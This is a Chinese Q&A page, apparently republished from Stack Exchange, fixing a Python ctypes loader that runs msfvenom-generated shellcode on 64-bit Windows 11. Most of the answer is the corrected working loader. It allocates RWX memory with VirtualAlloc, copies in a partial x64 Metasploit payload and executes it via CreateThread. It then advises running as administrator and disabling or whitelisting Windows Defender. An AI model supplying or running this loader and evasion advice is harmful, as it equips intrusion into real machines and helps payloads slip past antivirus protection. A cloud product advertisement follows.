You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Windows11下Python运行msfvenom生成的shellcode遇内存访问违例如何解决?

解决Windows 11下Python运行shellcode的访问违例错误

这个错误的核心是ctypes类型不匹配和指针处理错误:64位Windows系统下指针是8字节,你用ctypes.c_int(仅4字节)转换指针会导致地址截断,同时内存分配的参数类型也存在问题,最终触发写入权限违规。

修复后的代码

import ctypes

# msfvenom生成的shellcode
buf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51"
buf += b"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52"
# ... 补充剩余shellcode内容

shellcode = bytearray(buf)

# 定义匹配Windows API的ctypes类型别名
LPVOID = ctypes.c_void_p
SIZE_T = ctypes.c_size_t
DWORD = ctypes.c_ulong
HANDLE = ctypes.c_void_p

# 分配可读写执行的内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
    LPVOID(0),  # 让系统自动分配内存地址
    SIZE_T(len(shellcode)),  # 内存大小为shellcode长度
    DWORD(0x1000 | 0x2000),  # MEM_COMMIT | MEM_RESERVE,确保内存被实际分配
    DWORD(0x40)  # PAGE_EXECUTE_READWRITE,允许读写执行权限
)

if not ptr:
    raise RuntimeError(f"VirtualAlloc分配失败,错误码: {ctypes.windll.kernel32.GetLastError()}")

# 将shellcode复制到分配好的内存区域
ctypes.windll.kernel32.RtlMoveMemory(
    LPVOID(ptr),
    shellcode,
    SIZE_T(len(shellcode))
)

# 创建线程执行shellcode
ht = ctypes.windll.kernel32.CreateThread(
    LPVOID(0),  # 不设置线程属性
    SIZE_T(0),  # 使用默认栈大小
    LPVOID(ptr),  # 指向shellcode的指针
    LPVOID(0),  # 不传线程参数
    DWORD(0),  # 线程立即运行
    LPVOID(0)  # 不需要返回线程ID
)

if not ht:
    raise RuntimeError(f"CreateThread创建失败,错误码: {ctypes.windll.kernel32.GetLastError()}")

# 等待线程执行完成
ctypes.windll.kernel32.WaitForSingleObject(
    HANDLE(ht),
    DWORD(0xFFFFFFFF)  # 无限等待线程结束
)

# 关闭线程句柄释放资源
ctypes.windll.kernel32.CloseHandle(HANDLE(ht))

关键修改说明

  • 指针类型匹配:用c_void_p(LPVOID)存储指针,避免c_int截断64位地址,这是解决访问违例的核心。
  • 明确内存权限与分配类型:0x40是PAGE_EXECUTE_READWRITE,确保内存可写且可执行;0x1000|0x2000是MEM_COMMIT|MEM_RESERVE,保证内存被实际分配。
  • 增加错误检查:对VirtualAlloc和CreateThread的返回值做校验,方便快速定位问题。
  • 统一参数类型:所有Windows API参数使用对应标准类型(如SIZE_T、DWORD),避免隐式转换出错。

额外注意事项

  • 必须以管理员权限运行Python脚本,否则可能因权限不足分配内存失败。
  • 确保msfvenom生成的shellcode与Python位数一致:64位Python对应windows/x64系列payload,32位Python对应windows/x86系列。
  • Windows Defender或第三方杀毒软件可能拦截shellcode执行,需临时关闭或添加白名单。

内容的提问来源于stack exchange,提问作者vIIr

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.06 04:24:14